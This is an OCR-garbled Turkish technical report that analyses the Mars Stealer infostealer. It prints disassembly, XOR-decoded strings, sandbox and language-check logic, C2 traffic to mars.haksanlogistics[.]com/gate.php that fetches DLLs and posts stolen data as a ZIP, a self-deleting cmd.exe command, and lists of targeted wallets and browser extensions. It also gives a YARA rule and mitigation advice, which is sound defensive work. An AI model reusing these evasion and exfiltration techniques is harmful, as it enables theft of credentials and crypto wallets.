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TEKNIK ANALIZ RAPORU ‘

ZARAR YAZILIM ONLEME VE TERSINE MUKENDISLIK
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On Bakis

Mars Stealer Rus hacker forumlarinda sunulan gugli bir zararli yazilimdir. Yapilan
analizler sayesinde Mars Stealer'in 2020’nin ortasinda durdurulan Oski adli zararli
yazilimin yeniden.tasarlanmis hali oldugu tespit edilmigtir. Yaygin, olarak spam e-
posta, sikistiriimis dosya veya indirme baglantisi en yaygin dagitim yontemidir. Korsan
yazilim gibi gérunen zararl bir websitesi olusturmak, bu zararli yazilimi yaymanin
bagka bir yaygin yontemidir.

Bu kotu amagli yazilim bulasmig.eldugu bilgisayarlarin;

e Kredi kart bilgilerine,

e Tarayicinin otomatik doldurma verilerine,
e Tarayici uzantisi verilerine,

e Kripto clizdanlarina,

¢ Kripto uzanti bilgilerine ulasmaktadir.
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Detayli Analiz

Adi data64 4.exe

MD5 b5c6ac787feb4612d8ec375ce35h6a7d

SHA256 ffea36eb362bd7a6e654afb51fc067931e46e4e6d54f5a4e2159a9c5
1c3f1f7c

Dosya Turu PE32 / EXE

Statik Analiz

Yapilan statik analiz sonucunda stringler icerisinde “gate.php” dosya adina ve
“‘mars|.Jhaksanlogictics[.Jcom” sitesine “wrastlanmaktadir. Web sitesine girmeye

cahisildigi zaman 404 hatasi alinmaktadir.

segPBd:0043C062 lea edx, (aMarsHaksanlogi - 43C@861h)[esi] ; "mers.haksanlogistics.com”
segP04:0043C068 lea ecx, [edx+86h]

seg@04:0043CA6E lea ebx, (dword 433008 - 43C@61h)[esi]

segPP4:0043Ca74 lea ebp, [ebx+26h]

seghBd:0043C077 push edx
seg@0d:0043C078 push ecx
seg@0d:0043C079 push ebx
seg@d:0043CAT7A push ebp
seghBd:0R43CA7B call sub_43C000

segPBd:0043C080 add esp, 18h

seg@0d:0043C083 mov [edi+279B4h], edx

segP04:0043C089 lea edx, (aGatePhp - 43C061h)[esi] ; "gate.php”
seg@04:0043CA8F lea ecx, [edx+36h]

Sekil 1%ida analiz
Bir diger karsilagilan ifade ise “gate.phpdir. Eger MD5 kimlik dogrulama imzasi

gate.php igindeki bilgilerle eslesmiyorsa baglanti kesilmektedir.

segdfd: 0043C04E retn

seg004:0043C045 | OOOONSHUNIGISEN 1y s i s IS

segdvd:0e43C04B

Sekil 2-sp-analysis failed
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Dinamik Analiz

Basla Hay! r4>{ Cikig |~‘-
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Sekil 3-Akis Semasi

Program akiginin‘ana hatlari;

Zararli islem dncesi kontrollerin yapilmasi,

Zararl iglem icin gerekli bagimliliklarin €2 sunucudan indirilmesi,
Zararl iglemin gergeklestiriimesi,

Toplanan kullanici bilgilerinin‘c2 sunucuya gonderilmesi,

Zararh yazilimin izlerinin‘silinmesi.

arwnE

olarak siralandiriimaktadir.

Zararh yazihm ilk olarak LocalAlloc ve'VirtualProtect API'lerini kernel32.dll igerisinde
base adreslerini arayarak dynamic loading iglemini gergeklestirmektedir.

Ardindan zararli yazilim encode edilmis stringleri decode etmektedir. Kontrol
stringlerden kasit, zararli yazilim faaliyete baslamadan 6nce yapilacak kontroller igin
kullanilan degerler olmaktadir.
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Sekil 4-Kontrol'igin alinandegerler

Zararli yazilim, processden alinan hafiza ~dokiminde de (goruldigu gibi,
“ZO0QJZAYLEVBW?” degerinin altinda yer alan hex degerleri “16 20 30 2E 16 28 3B 3E
24 24 3B’ ile encode edilip, XOR islemiyle decode edildiginde “ExitProcess” stringi
ortaya ¢ikmaktadir.

S53SQH2FDITV
XOR O n Q

Key )

70 4B 3A 25 18 4@ 29 27 3F 27 25 HEX

Scheme

Standard ] Nl preserving
Output
ExitProcess

Sekil 5-XOR islemi
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Encode edilmis deger Anahtar deger Cozilmus deger
ZOQJZAYLEVBW 16 20 30 2E 16 28 LoadLibraryA
3B 3E 24 24 3B 16
IDAQTHOXIQ9FPI3X 01 3040 21 07 2D HttpSendRequestA
5E 3C 1B 34 48 33
353A 4719

Tablo 1-Céziimleme sonucu ortaya ¢ikan bazi degerler

buffer =
data_list =
key_list =
isDataCome =
h2bd7abe654afb51fcB67931edbedebd54f5ade2159a9c51c3Ff1F7c_0B41E@BR.bin", "rb") as f:

d not isDataCome:
isDataCome:
and not isDataCome:
yte)

n(data_list,key list):

» xor(data,key))

int("An exception occurred"ﬂ

Sekil 6-Python scripti

Yazilan Python scripti ile.dokimde yer' alan butin encoded stringler ¢ozulmustuar.
Zararl yazihm bilgisayar admnin “HAL9TH” ve Windows kullanicisinin “John Doe” olup
olmadidina kontrol etmektedir. Eger herhangi birisinde eslesme saglanirsa zararli
yazilim faaliyet gostermeden programi sonlandirmaktadir. Bu kontrol zararlinin
Windows Defender Emulator tUzerinde igalismasini onlemek igin yapilmaktadir.

Zararl yazilim faaliyete baslamadan once zararli faaliyet icin kullanilacak stringler
XOR islemiyle ¢dzUmlenir. Her string ifade i¢in farkh key degerleri kullaniimaktadir.

Co6zumleme sonucunda zararl faaliyet icin kullanilacak;
1. DLL ve metot isimleri,
2. Kripto cuzdan ve dizin bilgileri,
3. Tarayici eklenti kimlikleri,
4. Cookie dosyalari icin SQL sorgulari

ortaya ¢ikmaktadir.
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['ZOQIZAYLEVBW'] ~ ['\x16 @.\x16(;>$$;\x16'] => ['LoadLibraryA"]
['QPQ3AVI3E9SAEY'] ~ ['\x16U%c39Rr!]!Q6*'] => ['GetProcAddress’]
['53SQH2FDZTV'] * ["pK:%\x18@)'?'%"] -> ['ExitProcess']

['3WV3INVIRNZBS'] ™ ['R3 R»>2\xB2°°ST2'] =» [‘advapi32.dll’]

['OHIIBGOSWEB'] ~ ['S:396t\x@2\x1b3).°'] => [‘crypt32.dll’]

['E43XOIQNB7IH'] ~ ["\x@2QG\x®Bc&*:\r-B'<"] => ['GetTickCount']

['9F910°'] * ['§*\\T?'] => ['Sleep']

["eM167L2I7TE7OXEYUQST ] » ['w(EeD)@\xPeR2$BU,t8;6p\x108'] =»> ['GetUserDefaultLangID']
[*7NIGU7USOKDB'] ~ ['t<,W!R\x188M.<\x83'] => ['CreateMutexA']

['OLEINLHTBORY'] ~ ['\x@8)1\x@6/2<\x110==+'] => ['GetlastError']

['MPBIITOYA'] * ['\x@55#:\x0b8#6"'] => ['HeapAlloc']

[ "HRNESFAGKKWQCS'] * [ '\x0f7:%\x15G)"U88\x1f4"#'] =» ['GetProcessHeap']
[*YTZLIIPSTETTESLI'] ~ [“\xlel.\x®f%' & S&\x1a$X)\x088"] => [’ GetComputerNameA']
['Q6OBH31FRFH21E'] ~ ['\x87 =6-R]\x16 )<WR1'] => ['VirtualProtect']

Sekil 7-Dékiimde yer alan degerler

DLL Metot String
crypt32.dll LoadLibraryA HAL9TH
advapi32:dil GetCurrentProcess JohnDoe

HeapAlloc
Sleep

VirtualAllocEXNuma
VirtualProtect
GetProcAddress
CreateMutexA
GetLastError
GetUserNameA
GetUserDefaultLangID
ExitProcess
GetComputerNameA
GetTickCount
GetProcessHeap

Tablo 2-Coziilen string degerleri

Ardindan GetProcAddress ve LoadLibraryA ‘APl'lerini kernel32.dll igerisinde base
adreslerini arayarak dynamic loading iglemini gerceklestirmektedir.

Load edilen bu APr’lerini kullanarak bir dnceki asamada XOR islemiyle ¢ézulmus string
degerler icersinde yer alan DLL ve APTl’leri load etmek icin kullanmaktadir.

“crypt32.dil”
“advapi.dll’

Tablo 2-Load edilen API’ler

ilgili ylikleme islemlerinden sonra GetCurrentProcess ve VirtualAllocExNuma
APl’leri ile bellekten yer ayirmaktadir.
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| T MESIICIWURLGAN | Ut GG | L Dgiiuayinan | OO0 | S AU LUy a

cC int3
cc int3
55 push ebp
8BEC mov ebp, esp
83EC 08 sub esp,§
FF15 A07D4200 call dword ptr ds: [<&»GetT1ckCoum:>]
8945 FC mov dword ptr ss:lebp-4],eax
68 B03E0000 push 3E80
FF15 8C7B4200 call dword ptr ds:[<&5leep>] 3E80
FF15 AD7D4200 call dword ptr ds:[<&GetTickCount>]
2BAS FC sub eax,dword ptr ss:[ebp-4] 16.000
8945 FB mov dword ptr ss:|febp-&], eax
817D F8& EO2E0000 |cmp dword ptr ss:[ebp-8],2 37 200
v 76 O jbe ffea36eb362bd?a6e654afb51fc06?93
B8 01000000 mov eax,l
~ EB 0B jmp ffea36eb362bd7abeb54afb51fc06793 0011 1110 1000 0000
v EB 04 jmp ffea36eb362bd7abebs4afb51fc06793:
33c0 Xor eax,eax
~ EB 05 jmp ffea3l6eb362bd7a6e654afb51Fc06793: St s
B8 01000000 mov ]
BBES mov
5D pop ebp I Bitdiizeyinde + %% Bitkaydirma -
3 ret
cc int3
cc int3
cc int3 « > CE

Sekil'8-SandBox kontroliiniin yapiimasi

Bellek ayirma.isleminden sonra tzerinde ¢alistigi sistemin SandBox olup olmadigini
anlamak.icin 16 saniye program uyutulmaktadir. Uyutma isleminden<énce ve-sonra
tarin bilgileri alinarak aradan gecen surenin 12 saniyeden buyldk-olup olmadigina
bakmaktadir.

SandBox kontrolt gecilirse GetUserDefaultLangID /API’si ile cihazin dil bilgisi
alinmaktadir. Cihaz dilini asagidaki degerler ile karsilagtirmaktadir.

FF15 7C7D4200 |call dword ptr ds:[<&GetuUserDefaultLangip>]

OFB7CO MOVZX eax,ax

8945 F8 mov dword ptr ss:|Jebp-8],eax

817D F8 3F0400( cmp dword ptr ss:[ebp-8] Kazakistan dilinde olsa idi atlayacakti
~ 7F 1D jg ffea3éel 362hd736€654 067931 edbede6d54F 5a4e2159a9c51c3F1F7

817D F8 3F0400( cmp_dword E ebp-:
v 74 3A je ffeasﬁe 362bd7a6e654afb51fc067931e46e4e6d54fSa4e215939c51c3f1f7

817D F8 190400( cmp cword 55 :[febp-8,419 Rsuca olup olmadigin1 kontrol ediyor
v 74 1F je ffeagﬁe 362hd7aﬁeﬁ54afh51f(()67931€46e4€6d54f534€215939(51(3f1f7

817D F8& 230400 cmp dvo [ :[[ebp Belarusca olup olmad1g§1m kontrol ediyor
v 74 1F ffea;ﬁe ZEZthaEeE54afh51f(067931€46€4€6d54f534€215939(51(3f1f7
v EB 3F ]mp ffeasseb362bd7a6e654afb51fc067931e46e4e6d54f5a4e2159a9c51c3f1f

817D F8 430400( cmp cword 55:|flebp- Ozbekistan olup olmad1gm kontrol ediyor
v 74 26 je ffea36el 362hd7369654af 1f(()67931€46€4€6d54f534€215939(51(3f1f7

817D F8 2C0800 cmp dword s5:lebp- Azerbaycan dili oolup olmadig§1m kontrol ediyor
v 74 26 je ffea3éel ZEZthaEeE54afh51f(067931€46€4€6d54f534€215939(51(3f1f7
v EB 2B jmp ffeassehsszhd?ases543fb51fc057931@45@4eﬁd54f5a492159a9c51c3f1f

€745 FC 000000(mov dword ptr ss:[lebp-4],0
EE 22 jmp ffea%ﬁeh362hd7a6€6543ﬂ]51f(067931€4ﬁe496d54f5a422159a9(51(3f1f
€745 FC 000000(mov dword ptr ss:febp-4],0

9 jmp ffeaBEeh362hd7a6€6543ﬂ]51f(067931€4ﬁe4eﬁd54f5a422159a9(ilc3f1f
€745 FC 000000(mov dword ptr ss:[febp-4],0
EB 10 jmp ffeasseb362bd7a6e654afb51fc067931e46e4e6d54f5a4e2159a9c51c3f1f
€745 FC 000000(mov dword ptr ss:[febp-4[,

7 jmp ffea%ﬁeh362hd7a6€6543ﬂ]51f(067931€4ﬁe496d54f5a422159a9(51(3f1f
€745 FC 000000(mov dword ptr ss:[febp-

m m
@D m s m
UL

8B45 FC mov eax, dwurd ptr ss: [ebp -]
8BES mov esp, ebp

5D pop ebp

3 ret

cc int3

cc int3

cc int3

Sekil 9-Dil kontroltntin yapiimasi

Dil ID Dil Etiketi Konum
0x43F kk-KZ Kazakistan
0x443 Us-Latb-US Ozbekistan
0x82C Az-Cyrl-AZ Azerbeycan
0x419 Ru-RU Rusya
0x423 Be-BY Belarus

Tablo 3-Dil kontrolii yapilan Glkeler




ay

Bagimsiz Devletler
gOrulmektedir.

Topluluguna Uye olan Uulkelerde yazilimin c¢alismadigi

call
call
call
call

00407EAF <zarar]i. sub_407EAF>

<zararli.Returng:
<zarar]i.Returnd>
<zarar]i.Returnd>
<zarar 1i.Returns:>

call
call
mov ecx,dword ptr

€all dword ptr ds:

mov eax,dword ptr

€all dword ptr ds:

mov_ edx,dward ptr

€all dword ptr ds:
push zarar1i.42438C ;

€all dword ptr ds
mov edx,dword ptr
mov eax,dword ptr
mow ecx,dword ptr
mov_ edx,dward ptr
call
call
call
call
call
call
call
moy ecx, dword
call
mcall
mcall
mcall

dword ptr ds

[<&Istrcats]
ds:[427208] ;
[«&Tstrcats]
ds:[427428] :
[<&Tstrcats]
ds:[427964] ;
[<&Tstrcats]

:[<&Istrcats]
ds:[4278B4] ;
ds:[42730C] :
ds:[427984]
ds:[427428]

<zarar1i.getRequestIstegis>

:[<&Tstrcats]

zarar1i.407800
<zarar1i.Returnss
<zarar1i.reguesttencelenveriyiBellegerazs
<zarar]i.Returng>
<zarar1i.sub_415090>
ptr ds:[4271a4] ; 004271a4:&"sqlite3.dll”
<zarar]i.LoadDLL>
<zarar1i.TarayiciverilieriniToplars>
<zarar1i.cryptowalletverileriniToplars>
<zararli.sistemgilgileriniToplars>

00427428:&"http

<zarar1i.createrandomnamerorzipriles
dword ptr ds:
00427208:&". zip"

/e

00427964 :&"mars. haksanlogistics. com”
42438C:" frequest”

00427864 1 &"GET"
0042?30C:&“gate.ﬁhE"

00427964 :&"mars. haksanlogistics. com”
00427428 &" " http: /"

¥

zarar11. 004 0804E

€all <zararl1i.screenshot alirs

Al

zarar1i. 004 080BF

call <zararli.systemMatchstrings
call <zararli.Return8:

mov edx,dword ptr
mow eax,dword ptr

ds:[42730C]
ds:[427984]

004273001 &" gate.
00427964 1&"mars.

mov ecx,dword ptr ds:[427428] ; 00427428:&"http:s /"
call <zararli.verileriGonder>

call dword ptr ds
mov_ eax,dword ptr
call dword ptr ds
call dword ptr ds

:[<&Tstrcats]
ds:[427828] ;

00427828 :&"Crv\Programbataiy”

r[<&SetCurrenthirectoryis]

[<&Tstrlenas]

b
ﬁaEsan1Dgistics.com“

Jl
zarar1i. 00408144

mEall <zararli.sub_4072EQ> ; Incelenecek

il

zararli. 00408159
€all <zararli.Returngs
call <zararli.Rreturnd>
call <zararli.Rreturnd:
call «<zararli.Returngs
call «<zararli.Returngs
call <zararli.Returng>
call <zararli.sub_4075C0>

mret

Sekil 10- .zip, request, GET, gate.php, sqlite3.dll

Ardindan zararl faliyet igin kullanilacak APl'ler load edilmektedir. Load isleminden
sonra “mars.haksanlogistics[.Jcom/gate.php” URl'sine istek atmakta ve donen
cevap 200 degilse 30 saniye sonra tekrar denemektedir. Cevap 200 dondukten sonra
“‘mars.haksanlogistics[.Jcom/request® URI'sine gonderilen istek ile uygulamanin
ihtiyag duydugu DLL dosyalari indirilmektedir.

>
‘_.—;A-;_-_——A‘—_—-—fjl‘



<zararii.
x word
<, Oword
eax ,Oword
X, Oword
'-.':vv'l‘..
o Owrd

x , Oword
X , Swor d

X, dword
push ecx «

S Cal) «<zararii,
x , dword
x , o o
cax dword
x . dwor d

a‘ll «zararii,

prre ( t

|
. Lol
ptr §et ]
prr : (42731C)
ptr (4272¢8) 1
« G
GATEAr OwsSer DAt &>
prr 3 ¢ 3
=
prr ‘
prr (427720)
pre (427780) =N
c—
Cet8SrowserDatar
ptr | & I
pLr 3 t 3
per L:.'c‘(!
ptr : (42733¢) —
EE—
GathrowserDatar
pLr ¢ 3 ‘
hi— ol
Pt § 3
P :{427243)
ptr ds:(42797¢) =

Catarowseroat

-

Sekil 11-Etkilenen tarayicilar

1472 616.656000 192.168.219.128 192.09.2.123 HTTP 147 GET /gate.php HTTP/1.1
1473 616.656000 147 GET /gate. HTTP/1.1
1476 616.671000 192.168.219.128 192.9.2.123 HTTP 170 GET /wpad.dat HTTP/1.1
1477 616.671080 192.168.219.128 192.168.219.128 HTTP 170 GET fwpad.dat HTTP/1.1
1480 616.687000 192.168.219.128 192.0.2.123 HTTP 170 GET /wpad.dat HTTP/1.1
1481 616.687000 192.168.219.128 192.168.219.128 HTTP 170 GET fwpad.dat HTTP/1.1
1490 616.703000 192.168.219.128 192.168.219.128 HTTP 133 HTTP/1.@ 200 OK (text/html)
1491 616.703000 192.09.2.123 192.168.219.128 HTTP 133 HTTP/1.@ 200 OK (text/html)
1500 616.718000 192.168.219.128 192.168.219.128 HTTP 133 HTTP/1.8 208 OK (text/html)
1501 616.718000 192.0.2.123 192.168.219.128 HTTP 133 HTTP/1.@ 200 OK (text/html)
1524 616.749000 192.168.219.128 192.168.219.128 HTTP 133 HTTP/1.0@ 200 OK (text/html)
1525 616.765000 192.0.2.123 192.168.219.128 HTTP 133 HTTP/1.@ 200 OK (text/html)
1552 616.796000 122 HTTP/1.1
1553 616. 796000 192.168.219.128 192.168.219.128 HTTP 122 GET /request HTTP/1.1
1562 616.812000 192.168.219.128 192.168.219.128 HTTP 133 HTTP/1.@ 200 OK (text/html)
15R32 ATA 212000 102 & 2 123 187 1A% _219 128 HTTP 122 HTTR/1 A 288 K (tewt /himlY

Sekil 12- gate.php, request

llgili kitiphane yikleme islemleri(bittikten sonra tarayici verileri, kripto cilizdan
config dosyalari, cookie, kredi karti bilgilerinin tutuldugu SQLIlite dosyalari ve sistem
bilgileri toplanmaktadir. Ardindan sistemin ekran gorintisu alinir. Toplanan veriler
“‘mars.haksanlogistics[.Jcom/gate.php’ sayfasina veriler POST metodu ile ZIP
olarak gonderilmektedir.
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No. |T\me Source Destination | Protocol | Length | Info

2045 1051.3256000 127.0.0.1 127.0.0.1 HTTP 1086 HTTP/1.1 200 OK (PNG)
; 2210 1359.552000 192.168.219.128 192.0.2.123 HTTP 1251 POST /gate.php HTTP/1.1
2211 1359.552000  192.168.219.128 192.168.219.128 HTTP 1251 POST /gate.php HTTP/1.1
2278 1359630000 192 .168.219.128 192 _168.219.128 HTTP 133 HTTP/1.8 208 0K (text/html)

- Content-Disposition: form-data; name="file"; filename="08Q168Y5PH47YU.zip"\r\n
~Content-Type: application/octet-stream\r\n

- Content-Transfer-Encoding: binary\r\n\rin

= Data (915 bytes)

~-Data: 504b03041400020008009ea855559b4e8c3d03030000a907...
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Sekil 13-Zip dosyasinin C2 sunucuya génderilmesi

Zararl yazilimin hedefledigi kripto cizdan uygulamalari:

e Bitcoin

e Dogecoin

e Zcash

e DashCore

e LiteCoin

e Ethereum

e Electrum

e Electrum LTC
e Exodus

e Electron Cash
e MultiDoge

o JAXX

e Atomic

e Binance

e Coinomi

e FElectronCash
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Zararl yazilimin hedefledigi tarayici eklentileri:

Eklenti Kimligi Eklenti Adi
fihkakfobkmkjojpchpfgcmhfjinmnfpi BitApp Wallet
gaedmjdfmmahhbjefcbgaolhhanlaolb Authy
bfnaelmomeimhlpmgjnjophhpkkoljpa Phantom
bgjogpoidejdemgoochpnkmdjpocgkha Ecto Wallet
bgpipimickeadkjlklgciifhnalhdjhe GeroWallet
bhghoamapcdpbohphigoooaddinpkbai Authenticator

bhhhlbepdkbapadjdnnojkbgioiodbic

Solflare Wallet

binieiiffboillknjnepogjhkgnoapac Equal Wallet
bofddndhbegliegmpmnlbhcejofmjgbn X-Wallet
cgeeodpfagjceefieflmdfphplkenifk EVER Wallet

cihmoadaighcejopammfbmddcmdekcje

Leaf Wallet - EOS Wallet

cjelfplplebdjjenlipjcblmjkfcfine

Jaxx Liberty

cmbagcoinhmacpcgmbiniijboejgiahi

JustLiquidity Wallet

cnmamaachppnkjgnildpdmkaakejnhae Auro Wallet
aeachknmefphepccionboohckonoeemg Coin98 Wallet
afbcbjpbpfadlkmhmclhkeeodmamcfic Math Wallet
agechnindjilpccclelhlbjphbgnobpf Fractal Wallet
agkfnefiabmfpanochlcakggnkdfmmjd Earth Wallet

aiifonbfobpmeekipheeijimdpnlpgpp

Terra Station Wallet

aijcbedoijmgnimjeegjaglmepbmpkpi

Leap Terra Wallet

algblmhagnobbnmakepomicmfljlbehg

ADS Wallet

amkmjjmmflddogmhpjloimipbofnfjih

Wombat — Gaming Wallet for Ethereum

bcopgchhojmggmffilpimbdicgaihlkp

Hycon Lite Client

dkdedlpgdmmkkfjabffeganieamfklkm Cyano Wallet
dkimlehijiaepdijfnbbhncfpcoeeljf FShares Wallet
dicobpjiigpikoobohmabehhmhfoodbb Argent X
dmkamcknogkgcdfhhbddcghachkejeap Keplr

dngmiblcodfobpdpecaadgfbcggfifnm

Maiar DeFi Wallet

ehibhohmlpipbaogcknmpmiibbllplph

Bluehelix Wallet

Tablo 4-Etkilenen tarayici eklentileri
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Zararli yazihmdan hedefledigi tarayicilar:

Chrome

ChromeBeta

ChromeCanary

Chromiu

Edge ium

Komet

Amigo

Torch

Drbitu
nodc

ne

] .]_'\

CocC
Uran
QIP
Cent
e Element
TorBro
e CryptoTab
e Brave

e Opera

e OperaGX
e OperaNeon
o Firefox

e SlimBrowser
e PaleMoon

o Waterfox

e CyberFox

e BlackHawk

e |ceCat

e Kmeleon

e Thudnerbird

Veriler gonderildikten sonra indirilen kutuphane dosyalari silinmektedir. Ardindan
zararli yazihm kendisini “cmd.exe” yardimi ile silmektedir.




004075C0 <zararli.sub_4075C0=>

mov eax,dword ptr ds:[427824] ; 00427824:&"C:“\ProgramData‘’sqlite3.d11"

c€all dword ptr ds:[<&DeleteFileaA=]

mov ecx,dword ptr ds:[42738BC] ; 0042738C:&"C:“\Programbata‘’freebl3.d11"

c€all dword ptr ds:[<&DeleteFileaA=]

mov edx,dword ptr ds:[4277c0] ; edx:"NK", 004277CO:&"C:‘\\ProgrambData'‘\mozglue.dl1"
push edx ; edx:"NK"

c€all dword ptr ds:[<&DeleteFileA=]

mov eax,dword ptr ds:[427294] ; 00427294:&"C:‘\Programbata' ‘\msvcpld0.dl11"

c€all dword ptr ds:[<&DeleteFileA=]

mov ecx,dword ptr ds:[427850] ; 00427850:&"C:‘‘\Programbata‘‘nss3.dl11"

c€all dword ptr ds:[<&DeleteFileA=]

mov edx,dword ptr ds:[4275AC] ; edx:"NK", 004275AC:&"C:‘‘\Programbata'‘softokn3.dl11"
push edx ; edx:"NK"

call dword ptr ds:[<&DeleteFileaA=]

mov eax,dword ptr ds:[427894] ; 00427894:&"C:‘\Programbata‘‘vcruntimeld0.d11"

call dword ptr ds:[<&DeleteFileaA=]

ret

Sekil 14-Silinen kiitiiphane dosyaldii

00415C60 <zararli.kKendinisiler=>

call <zararli.Returng=

call <zararli.Returng>

call dword ptr ds:[<&GetModuleFileNameA=]

mov ecx,dword ptr ds:[427354] ; 00427354:&"/c timeout /t 5 & del /f /g “"%5'\" & exit”
call dword ?tr ds : [<&wsprintfa=]

call <zararli.sub_415360>

mov ecx,dword ptr ds:[427814] ; 00427814 :&"open”

mov edx,dword ptr ds:[42793B] ; 00427938:&"C:‘‘\Windows" ' System32" ' .cmd. exe"
mov dword ptr ss:[lebp-1Cl,0 ; [ebp-1C]:"symMatchstring”

call dword qtr ds: [=&Shel lExecuteEx=]

call <zararli.Returng=

call <zararli.Returng=

call <zararli.Returng=

ret

Sekil 15- cmd.exe ile zararli yazilimin kendini silmesi

cmd.exe /c timeout /t 5 & del /f /q "C:\Users\***\Desktop\Mars Stealer.exe" & exit

Tablo 5- cmd.exé’ye gegirilenmparametreler




YARA Kurali

rule MarsStealer

strings:
$h1 = {16 20 30 2E 16 28 3B 3E 24 24 3B 16}
$h2 ={01 30 40 21 07 2D 5E 3C 1B 34 48 33 35 3A 47 19}

$h3 = {20 5F 2A 21 52 22 5B 21 2D 37 2D 3D 27 26 2F 57 21 57 2D
41 37 29 2E 31 29 2F 20 38 28 36 2B 30}

$h4 = {08 7E 24 33 2C 38 35 29 64 20 2D 3C 3B 23 3E 18 63 46 36
333321 21 30 08}

$al ="mars.haksanlogistics.com"”

$a2 ="gate.php"

$s1 ="IZOFSAGWWVX1"

$s2 ="U1ZQZDIZNFUF2H5"

$s3 ="TTBOLDEUNAU9UIOPPHRMYHTHJV"
$s4 = "IDAQTHOXIQIFPI3X"

$s5 = "ZOQJIZAYLEVBW"

condition:

(all of ($h*)) or (all of ($s*)) or ($al and $a2)




Execution

Defense Evasion

MITRE ATTACK TABLE

Credential
Access

Discovery

Lateral
Movement

Collection

Command and
Control

Exfiltration

Native

Virtualization/San

Input Capture

File and Directory

Remote File

Data from Local

Standard

Automated

API(T1106) dbox (T1056) Discovery(T1083) | Copy(T1105) System(T1005) Application Exfiltration(T1020)
Evasion(T1497) Layer
Protocol(T1071)
Hidden Credentials in | Virtualization/San Screen Remote File
Window(T1564) Files(T1552) dbox Capture(T1113) Copy(T1105)
Evasion(T1497)
Software Credential System Time Ingress Tool
Packing(T1027) Dumping(T100 | Discovery(T1124) Transfer(T1105)
3)
Masquerading(T1 System
036) Information
Discovery(T1082)
File Query
Deletion(T1070) Registry(T1012)

Security Software
Discovery(T1518)

Process
Discovery(T1057)

Account
Discovery(T1087)

Tablo 6-Mitre Attack Tablosu

Co6ziim Onerileri

1. Aldiginiz e-postalarin kim tarafindan gonderildigini.kontrol edin. Baglantilara
tiklamadan ve dosyalari indirmeden once ‘guvenilirliginden emin olun.

2. Akill telefonlara ya da e-posta kutularina gonderilen hediye puanlari ve diger
promosyon tekliflerini kaynagindan emin olmadan agmayin.

3. Kapsamli ve surekli guncellenen, ayni zamanda antiviris 6zelligi de iceren bir
internet ve veri glvenligi programi kullanin. Bu programlar bilgisayarinizda anhk
tarama yapabilmenin yaninda, zararli yazilimlar bilgisayariniza girmeye galistigi
anda bunlari fark ederek bulagsmalarini engelleyebilirler.

4. E-devlet gibi uygulama ve portallari kullanirken baglanti adreslerinde bulunan

guvenlik simgelerini kontrol edin. Dogru siteye baglandiginizdan emin olun.
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ruk Kayikci

Nisanur

Meryem Ahi LinkedIn



https://www.linkedin.com/in/omerfarukkayikci/
https://www.linkedin.com/in/nisanur-çıldız-252112228/
https://www.linkedin.com/in/meryem-ah%C4%B1skal%C4%B1-00890a227?lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_contact_details%3BEWNJgcxlSviDuJZsHgjsOg%3D%3D%20

